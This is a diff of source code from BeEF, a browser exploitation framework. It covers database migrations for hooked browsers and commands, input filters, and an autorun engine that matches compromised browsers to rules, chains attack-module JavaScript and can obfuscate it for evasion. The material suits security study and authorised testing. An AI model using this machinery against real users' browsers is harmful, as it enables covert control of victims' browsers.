# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
#return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/[\r]+/,"")
["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/[\r]+/,"")
return true if "Host:".eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != ?/
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => /
while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
end

View File

@@ -1,30 +1,30 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
true
end
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
end
end
end
end

View File

@@ -1,16 +1,15 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module HBManager
# Get hooked browser by session id
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.where(:session => sid).first
BeEF::Core::Models::HookedBrowser.where(session: sid).first
end
# Get hooked browser by id
@@ -19,6 +18,5 @@ module BeEF
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,8 +12,8 @@ module BeEF
attr_writer :logger
def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = self.name
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = name
log.level = Logger::WARN
end
end

View File

@@ -1,12 +1,8 @@
class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
end

View File

@@ -1,19 +1,15 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateLogs < ActiveRecord::Migration[6.0]
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
end

View File

@@ -1,16 +1,12 @@
class CreateCommands < ActiveRecord::Migration[6.0]
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
end

View File

@@ -1,15 +1,11 @@
class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
end

View File

@@ -1,17 +1,14 @@
class CreateExecutions < ActiveRecord::Migration[6.0]
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
end
end
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
t.integer :rule_id
end
end
end

View File

@@ -1,20 +1,16 @@
class CreateRules < ActiveRecord::Migration[6.0]
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
create_table :web_cloner do |t|
t.text :uri
t.text :mount
end
end
def change
create_table :web_cloners do |t|
t.text :uri
t.text :mount
end
end
end

View File

@@ -1,11 +1,7 @@
class CreateMassMailer < ActiveRecord::Migration[6.0]
def change
create_table :mass_mailer do |t|
#todo fields
end
end
def change
create_table :mass_mailers do |t|
# TODO: fields
end
end
end

View File

@@ -1,17 +1,13 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
end

View File

@@ -1,15 +1,11 @@
class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
end

View File

@@ -1,44 +1,40 @@
class CreateHttp < ActiveRecord::Migration[6.0]
def change
create_table :http do |t|
t.references :hooked_browser
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, :default => true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, :default => 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, :default => "waiting"
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
def change
create_table :https do |t|
t.text :hooked_browser_id
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, default: true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, default: 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, default: 'waiting'
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_status do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
def change
create_table :rtc_statuss do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
create_table :rtc_manage do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: "waiting"
end
end
def change
create_table :rtc_manages do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
create_table :rtc_signal do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: "waiting"
end
end
def change
create_table :rtc_signals do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_module_status do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
def change
create_table :rtc_module_statuss do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
create_table :xssrays_detail do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
def change
create_table :xssraysdetails do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
create_table :dns_rule do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
def change
create_table :dns_rules do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateIpecExploit < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit do |t|
t.text :name
t.text :protocol
t.text :os
end
end
def change
create_table :ipec_exploits do |t|
t.text :name
t.text :protocol
t.text :os
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit_run do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
def change
create_table :ipec_exploit_runs do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateAutoloader < ActiveRecord::Migration[6.0]
def change
create_table :autoloader do |t|
t.references :command
t.boolean :in_use
end
end
def change
create_table :autoloaders do |t|
t.references :command
t.boolean :in_use
end
end
end

View File

@@ -1,18 +1,14 @@
class CreateXssraysScan < ActiveRecord::Migration[6.0]
def change
create_table :xssrays_scan do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
def change
create_table :xssraysscans do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
end

View File

@@ -1,14 +1,12 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Engine
include Singleton
def initialize
@@ -20,8 +18,8 @@ module BeEF
@debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL']
@VERSION_STR = ['XP','Vista']
@VERSION = ['<', '<=', '==', '>=', '>', 'ALL']
@VERSION_STR = %w[XP Vista]
end
# Check if the hooked browser type/version and OS type/version match any Rule-sets
@@ -30,13 +28,12 @@ module BeEF
def run(hb_id, browser_name, browser_version, os_name, os_version)
are = BeEF::Core::AutorunEngine::Engine.instance
match_rules = are.match(browser_name, browser_version, os_name, os_version)
are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
are.trigger(match_rules, hb_id) if !match_rules.nil? && match_rules.length > 0
end
# Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id)
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
@@ -48,26 +45,25 @@ module BeEF
execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode
mods_bodies = Array.new
mods_codes = Array.new
mods_conditions = Array.new
mods_bodies = []
mods_codes = []
mods_conditions = []
# this ensures that if both rule A and rule B call the same module in sequential mode,
# execution will be correct preventing wrapper functions to be called with equal names.
rule_token = SecureRandom.hex(5)
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
options.push({'name' => k, 'value' => v})
cmd_mod['options'].each do |k, v|
options.push({ 'name' => k, 'value' => v })
replace_input = true if v == '<<mod_input>>'
end
command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition'])
@@ -75,32 +71,31 @@ module BeEF
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else
wrapper = nil
print_error "Chain mode looks wrong!"
# TODO catch error, which should never happen as values are checked way before ;-)
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else
wrapper = nil
print_error 'Chain mode looks wrong!'
# TODO: catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::Models::Execution.new(
:session => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:rule_token => rule_token,
:mod_body => wrapper,
:is_sent => false,
:rule_id => rule_id
session_id: hb_session,
mod_count: modules.length,
mod_successful: 0,
rule_token: rule_token,
mod_body: wrapper,
is_sent: false,
id: rule_id
)
are_exec.save!
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
print_more "Triggering ruleset #{rule_ids} on HB #{hb_id}"
end
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of.
# - sequential chain with delays (setTimeout stuff)
@@ -114,7 +109,7 @@ module BeEF
delayed_exec = ''
c = 0
while c < mods.length
delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
wrapped_mod = "#{mod_body}\n"
wrapper += wrapped_mod
@@ -141,16 +136,17 @@ module BeEF
# if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
wrapper, delayed_exec = '',''
delayed_exec_footers = Array.new
wrapper = ''
delayed_exec = ''
delayed_exec_footers = []
c = 0
while c < mods.length
if mods.length == 1
i = c
else
i = c + 1
end
i = if mods.length == 1
c
else
c + 1
end
code_snippet = ''
mod_input = ''
@@ -159,11 +155,11 @@ module BeEF
mod_input = 'mod_input'
end
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
conditions[i] = true if conditions[i].nil? || conditions[i] == ''
if c == 0
# this is the first wrapper to prepare
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
#{mods[order[c]][:mod_name]}_#{rule_token}();
@@ -185,7 +181,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
delayed_exec_footer = %|
}
}
}
@@ -198,10 +194,10 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is one of the wrappers in the middle of the chain
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
@@ -223,7 +219,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
delayed_exec_footer = %|
}
}
}
@@ -236,9 +232,9 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer)
else
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is the last wrapper to prepare
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
@@ -258,7 +254,6 @@ module BeEF
wrapper
end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database.
# Returns the raw module body after template substitution.
@@ -266,16 +261,16 @@ module BeEF
config = BeEF::Core::Configuration.instance
begin
command = BeEF::Core::Models::Command.new(
:data => options.to_json,
:hooked_browser_id => hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i,
:instructions_sent => true
data: options.to_json,
hooked_browser_id: hb_id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
creationdate: Time.new.to_i,
instructions_sent: true
)
command.save!
command_module = BeEF::Core::Models::CommandModule.find(mod.id)
if (command_module.path.match(/^Dynamic/))
if command_module.path.match(/^Dynamic/)
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
@@ -293,18 +288,18 @@ module BeEF
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n"
else
command_body = command_module.output + "\n\n"
command_body = command_module.output + "\n\n"
end
# @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = ''
result = %Q|
mod_input = replace_input ? 'mod_input' : ''
result = %|
var #{mod.name}_#{rule_token} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)}
};
@@ -312,8 +307,8 @@ module BeEF
var #{mod.name}_#{rule_token}_mod_output = null;
|
return {:mod_name => mod.name, :mod_body => result}
rescue => e
{ mod_name: mod.name, mod_body: result }
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
@@ -324,56 +319,47 @@ module BeEF
#
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input)
begin
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index,wrapper_end_index = nil
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index, wrapper_end_index = nil
cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index
break
end
end
if wrapper_start_index.nil?
print_error "[ARE] Could not find module start index"
cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index
break
end
end
print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
if wrapper_end_index.nil?
print_error "[ARE] Could not find module end index"
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
if cleaned_cmd_body.eql?('')
print_error "[ARE] No command to send"
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n")
print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"', 'mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
final_cmd_body
else
cleaned_cmd_body
end
rescue StandardError => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}"
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
@@ -382,105 +368,119 @@ module BeEF
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def match(browser, browser_version, os, os_version, rule_id=nil)
def match(browser, browser_version, os, os_version, rule_id = nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::Models::Rule.find(rule_id)]
else
rules = BeEF::Core::Models::Rule.all
end
return nil if rules == nil
rules = if rule_id.nil?
BeEF::Core::Models::Rule.all
else
[BeEF::Core::Models::Rule.find(rule_id)]
end
return nil if rules.nil?
return nil unless rules.length > 0
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
print_info '[ARE] Checking if any defined rules should be triggered on target.'
# TODO: handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
browser_match = false
os_match = false
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if !os_version.nil? && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
if os_version == 'XP'
os_ver_hook_maj = 5
os_ver_hook_min = 0
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser !~ /\A[A-Z]+\Z/
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
else
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
if browser_version_match
browser_match = true
else
browser_match = false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
if os_version == 'Vista'
os_ver_hook_maj = 6
os_ver_hook_min = 0
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
if os_ver_rule_maj == 'XP'
os_ver_rule_maj = 5
os_ver_rule_min = 0
end
if os_ver_rule_maj == 'Vista'
